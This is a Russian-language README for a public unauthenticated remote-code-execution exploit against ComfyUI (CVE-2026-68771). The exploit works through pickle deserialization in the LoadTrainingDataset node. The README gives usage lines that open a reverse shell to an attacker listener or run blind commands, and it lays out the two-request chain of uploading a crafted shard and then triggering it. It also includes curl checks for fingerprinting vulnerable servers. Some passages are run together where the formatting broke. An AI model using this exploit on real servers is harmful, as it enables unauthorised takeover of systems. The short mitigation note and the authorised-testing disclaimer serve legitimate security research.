
Неаутентифицированный эксплойт для CVE-2026-68771 — RCE через десериализацию pickle в ComfyUI. Размещает сформированный шард через /upload/image, активирует его через /prompt и выполняет команды или открывает обратную оболочку.
Неаутентифицированное удалённое выполнение кода в ComfyUI
через узел LoadTrainingDataset.
LoadTrainingDataset.execute() загружает шарды данных из выходного каталога сервера с помощью
torch.load(f) и без weights_only=True. На PyTorch < 2.6 (где weights_only
по умолчанию равен False) специально созданный shard_*.pkl выполняет свой pickle __reduce__
при загрузке (CWE-502). ComfyUI поставляется , а маршрут
(с ) записывает сырые загруженные байты без проверки расширения, поэтому
можно разместить и затем запустить двумя неаутентифицированными запросами.
/upload/imagetype=output.pkl0.23.0 на PyTorch < 2.68188 (без аутентификации)Только стандартная библиотека Python 3 — никаких зависимостей.
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# blind single command
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
Команда выполняется на сервере; её вывод не возвращается, поэтому используйте --shell для обратной
оболочки (или запишите результат в доступный для чтения путь), чтобы увидеть результат.
Два неаутентифицированных запроса:
Размещение — POST /upload/image с type=output, subfolder=training_dataset, именем файла
shard_0000.pkl. Маршрут /upload/image записывает сырые байты (на этом пути обработка изображений
не выполняется), поэтому pickle попадает без изменений в output/training_dataset/shard_0000.pkl.
__reduce__ pickle возвращает (os.system, (cmd,)).
Запуск — POST /prompt с рабочим процессом: узел LoadTrainingDataset
(folder_name=training_dataset), подключённый к выходному узлу SaveLatent. Выходной узел заставляет
ComfyUI выполнить LoadTrainingDataset, который находит все файлы по шаблону shard_*.pkl и вызывает:
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # no weights_only=True -> runs the pickle on torch < 2.6
__reduce__ pickle выполняет os.system(cmd) во время десериализации.
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> vulnerable node present
torch.load(f, weights_only=True).weights_only по умолчанию равен True и ограниченный
анпиклер отклоняет os.system.Только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное разрешение.